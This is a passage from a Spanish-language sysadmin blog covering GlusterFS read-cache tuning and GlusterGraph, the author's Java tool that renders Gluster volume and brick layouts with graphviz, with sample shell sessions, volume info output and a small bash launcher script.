128+0 records in
128+0 records out
134217728 bytes (134 MB) copied, 1,59836 s, 84,0 MB/s
dom ago 24 21:34:25 ART 2014
128+0 records in
128+0 records out
134217728 bytes (134 MB) copied, 1,26796 s, 106 MB/s
dom ago 24 21:34:26 ART 2014
128+0 records in
128+0 records out
134217728 bytes (134 MB) copied, 0,159935 s, 839 MB/s
dom ago 24 21:34:26 ART 2014
128+0 records in
128+0 records out
134217728 bytes (134 MB) copied, 0,152958 s, 877 MB/s
dom ago 24 21:34:27 ART 2014
128+0 records in
128+0 records out
134217728 bytes (134 MB) copied, 0,164556 s, 816 MB/s
dom ago 24 21:34:27 ART 2014
[root@gluster-client-1 ~]# 

Sin necesidad de reiniciar absolútamente nada, ni de desmontar el volumen, vemos como gluster fue capaz de reconocer el aumento del tamaño de cache y permitirnos leer el archivo de 128Mbytes hasta mas de 10 veces mas rápido!!!

El resto es cuento, solo hay que ponerse a jugar con los valores para obtener la política de cache que uno quiere. 

Dónde se almacena la cache?

Hice un par de preguntas al respecto en la lista de usuarios de gluster, dado que no me quedaba del todo claro dónde se almacena la cache. Según la documentación el translator performance/io-cache puede encontrarse presente tanto en el servidor como en el cliente con objetivos distintos. 
  • Estando en el servidor permite compartir la cache con varios clientes de manera simultánea.
  • Estando en el cliente permite ahorrar ancho de banda y CPU (del servidor).
En la lista me dijieron que el translator performance/io-cache se carga durante el proceso de montado del volumen así que la cache por defecto se encuentra en el cliente.

viernes, 8 de agosto de 2014

Gluster: graficando mi Gluster II

Luego de comentar la herramienta en la lista oficial de usuarios de gluster gluster-users@gluster.org, me recomendaron hacerla un proyecto oficial de la comunidad y me pareció una buena idea. Así es como nació GlusterGraph. Desde el link podrán acceder tanto a las fuentes de la herramienta como a una pequeña wiki que describe cómo utilizarla en uno pocos pasos.

Les dejo un ejemplo de ejecución para mas o menos cerrar la idea:

  • Clonar el repositorio:
jpavlik@corrientes:~/Escritorio/devnull/borrar$ git clone git://forge.gluster.org/glustergraph/glustergraph.git
Clonar en «glustergraph»...
remote: Counting objects: 73, done.
remote: Compressing objects: 100% (62/62), done.
remote: Total 73 (delta 20), reused 0 (delta 0)
Receiving objects: 100% (73/73), 58.33 KiB, done.
Resolving deltas: 100% (20/20), done.

  • Ubicar el archivo ejecutable:
jpavlik@corrientes:~/Escritorio/devnull/borrar$ ls glustergraph/GlusterGraph/ExecJar/
glustergraph.jar
jpavlik@corrientes:~/Escritorio/devnull/borrar$ 
  • Ejecutarlo pasando como entrada gluster volume info y redireccionando la salida a out.dot (debería ver algo como lo siguiente):
jpavlik@corrientes:~/Escritorio/devnull/borrar$ gluster volume info | java -jar glustergraph/GlusterGraph/ExecJar/glustergraph.jar > out.dot
GlusterGraph v0.1

Loading all volumes

New volume found: fernanda-02
New brick found: gfsc-nodo03:/ladrillos/l1                                                                                                                                                      
New node found: gfsc-nodo03
New brick found: gfsc-nodo03:/ladrillos/l3                                                                                                                                                      
New volume found: fernanda
New brick found: gfsc-nodo04:/ladrillos/l1
New node found: gfsc-nodo04
New brick found: gfsc-nodo01:/ladrillos/l1
New node found: gfsc-nodo01
New brick found: gfsc-nodo04:/ladrillos/l2
New brick found: gfsc-nodo01:/ladrillos/l2
New brick found: gfsc-nodo04:/ladrillos/l3
New brick found: gfsc-nodo02:/ladrillos/l1
New node found: gfsc-nodo02
New brick found: gfsc-nodo03:/ladrillos/l2
New brick found: gfsc-nodo02:/ladrillos/l2
New brick found: gfsc-nodo04:/ladrillos/l5
New brick found: gfsc-nodo02:/ladrillos/l3
New brick found: gfsc-nodo01:/ladrillos/l3
New brick found: gfsc-nodo04:/ladrillos/l4
jpavlik@corrientes:~/Escritorio/devnull/borrar$ 
  • Ahora graficamos el archivo con dot:
jpavlik@corrientes:~/Escritorio/devnull/borrar$ dot -Tpng out.dot > out.png
jpavlik@corrientes:~/Escritorio/devnull/borrar$ ls out*
out.dot  out.png
jpavlik@corrientes:~/Escritorio/devnull/borrar$ 
  • Abrimos la imagen:

domingo, 3 de agosto de 2014

Gluster: graficando mi Gluster I

Hace unos meses comencé a utilizar Gluster en el trabajo y la verdad que me resulta una herramienta para soluciones de almacenamiento mas que interesante. Gluster permite a partir de ladrillos (puntos de montaje en los servidores) crear volúmenes de almacenamiento de tamaños exorbitantes. Estos volúmenes creados, pueden ser:

  • Distribuidos: los archivos se distribuyen entre los diferentes ladrillos que componen el volumen. Este escenario tiene un rendimiento muy interesante pero carece de redundancia a nivel de gluster (claro que uno podría usar RAID para combatir esta falencia)
  • Distribuido-Replicado: aquí los archivos además de estar distribuidos en los diferentes ladrillos se encuentran replicados (1, 2, 3 o n veces), de forma tal que se penaliza la escritura por ejemplo pero se beneficia la lectura y la redundancia de la información. 
  • Otros.
Luego de unos meses de usarlo comencé a notar que se volvía cada vez mas complicado hacerme una imagen mental de la distribución de los ladrillos en el cluster y saber a qué volumen pertenece cada uno de ellos. Así fue que comencé a buscar formas de lograr una imagen que representara la configuración actual.
  • Papel: por mas precámbrico que parezca fue la primera aproximación y dada su simplicidad y la poca dinámica de la configuración fue útil por bastante tiempo.
  • Archivo de texto: el paso siguiente fue crear una imagen con graphviz a partir de un archivo de texto que se cargaba manualmente.
  • Java y script automático: el primer intento fue con perl, pero mi manejo de perl no fue suficiente y recurrí a la abstracción de Java.
Actualmente el script tiene dos entradas fundamentales:
  • Un archivo donde se definen los hosts que conforman el cluster de la forma: host:IP
  • Un archivo que se crea a partir de la salida del comando: gluster vol info > gluster_info
La imagen generada es la siguiente:


  • Los nodos son representados como rectángulos con su etiqueta y los ladrillos que contienen.
  • A la derecha tenemos el código de colores para cada volumen.
  • Cada ladrillo es del color del volumen al que pertenece.
  • Los ladrillos que formen parte de un volumen con réplica tendrán asociado un código de réplica. Éste servirá para identificar sus réplicas. Por ejemplo en el volumen vol4, el ladrillo l1 del nodo nodo01 y el ladrillo l1 del nodo nodo04 tienen el mismo código COD0 lo que indica que son réplicas uno de otro.

Demo:

Archivos que componen el script:

juan@moon:~/Escritorio/devnull$ ls
gluster_graph.jar  gluster_info  hosts  lanzar.sh
juan@moon:~/Escritorio/devnull$ 

Archivo hosts

juan@moon:~/Escritorio/devnull$ cat hosts
gfsc-nodo01:172.16.16.190
gfsc-nodo02:172.16.16.191
gfsc-nodo03:172.16.16.192
gfsc-nodo04:172.16.16.193
juan@moon:~/Escritorio/devnull$ 

Archivo gluster_info:

juan@moon:~/Escritorio/devnull$ cat gluster_info 
Volume Name: vol2
Type: Distribute
Volume ID: 1f9db37d-fc16-433e-9c39-af526ea32027
Status: Started
Number of Bricks: 1
Transport-type: tcp
Bricks:
Brick1: gfsc-nodo03:/ladrillos/l1
Options Reconfigured:
performance.cache-size: 256MB

Volume Name: vol1
Type: Distribute
Volume ID: 1f9db37d-fc16-433e-9c39-af526ea32024
Status: Started
Number of Bricks: 3
Transport-type: tcp
Bricks:
Brick1: gfsc-nodo01:/ladrillos/l4
Brick1: gfsc-nodo02:/ladrillos/l4
Brick1: gfsc-nodo03:/ladrillos/l3
Options Reconfigured:
performance.cache-size: 256MB
Volume Name: vol4
Type: Distributed-Replicate
Volume ID: f0570fe5-93fa-45f3-b875-41760a466a9a
Status: Started
Number of Bricks: 6 x 2 = 12
Transport-type: tcp
Bricks:
Brick1: gfsc-nodo04:/ladrillos/l1
Brick2: gfsc-nodo01:/ladrillos/l1
Brick3: gfsc-nodo04:/ladrillos/l2
Brick4: gfsc-nodo01:/ladrillos/l2
Brick5: gfsc-nodo04:/ladrillos/l3
Brick6: gfsc-nodo02:/ladrillos/l1
Brick7: gfsc-nodo03:/ladrillos/l2
Brick8: gfsc-nodo02:/ladrillos/l2
Brick9: gfsc-nodo04:/ladrillos/l5
Brick10: gfsc-nodo02:/ladrillos/l3
Brick11: gfsc-nodo01:/ladrillos/l3
Brick12: gfsc-nodo04:/ladrillos/l4
Options Reconfigured:
server.statedump-path: /var/log/glusterfs/
performance.cache-size: 640MB
diagnostics.client-log-level: ERROR

Volume Name: vol5
Type: Distributed-Replicate
Volume ID: 1f9db37d-fc16-433e-9c39-af526ea32024
Status: Started
Number of Bricks: 1 x 3 = 3
Transport-type: tcp
Bricks:
Brick1: gfsc-nodo01:/ladrillos/l5
Brick1: gfsc-nodo02:/ladrillos/l5
Brick1: gfsc-nodo03:/ladrillos/l4
Options Reconfigured:
performance.cache-size: 256MB
juan@moon:~/Escritorio/devnull$ 

El archivo lanzar.sh es un simple script en bash que facilita la ejecucón del jar y el armado del png:

juan@moon:~/Escritorio/devnull$ cat lanzar.sh 
#!/bin/bash
#
#Pavlik salles Juan Jose 02/08/2014
#
#Version 0.1: 
# - Admite volumenes Distribute y Distributed-Replicate sin importar el numero de ladrillos, ni de nodos, ni de replicas. Al menos en teoria.
# - Debido a que los colores estan hardcoded el numero maximo de volumenes es 18 (TOCHANGE)
# - 
#
#Comentarios a jjpavlik@gmail.com o en https://viviendolared.blogspot.com
#
#Requiere:
# - Graphviz y dot
#
#Funcionamiento:
# 1-Armar el archivos hosts con los hosts que conforman el cluster de gluster, el archivo tiene el formato hostname:IP
# 2-Armar el archivo de configuracion de gluster corriendo "gluster vol info > gluster_info"
# 3-Ubicar ambos archivos en el mismo directorio donde se encuentra este script
# 4-Lanzar este script ./lanzar
# 5-La imagen sera out.png
# --Los ladrillos de un mismo volumen tendran el mismo color
# --Los ladrillos con replicas podran ser identificados por su codigo. Por ejemplo si el ladrillo 1 del nodo 2 es replica del ladrillo 2 del nodo 1, ambos tendran el mismo codigo

if [ ! -e hosts ]; then
echo "Couldn't find hosts file."
exit
fi

if [ ! -e gluster_info ]; then
echo "Couldn't fine gluster_info file. You can build it running \"gluster vol info > gluster_info\"."
exit
fi

cat gluster_info | java -jar gluster_graph.jar > out.dot
dot -Tpng out.dot > out.png
juan@moon:~/Escritorio/devnull$ 

El archivo gluster_graph.jar es el jar del proyecto Java que hice en Eclipse.

Ejecución:

juan@moon:~/Escritorio/devnull$ ./lanzar.sh 
juan@moon:~/Escritorio/devnull$ ls
gluster_graph.jar  gluster_info  hosts  lanzar.sh  out.dot  out.png
juan@moon:~/Escritorio/devnull$ 

Ahora ye tenemos generada la imagen correspondiente en out.png.



El código de gluster_graph es bastante simple, pero aun no se dónde subirlo. Si a alguien le interesa por favor avisar y vemos cómo lo comparto. 

Por ahora solo lo probé con volumenes Distribute y Distributed-Replicate, con las configuraciones que mostré por lo tanto es posible que falta depurar muchas cosas.

Saludos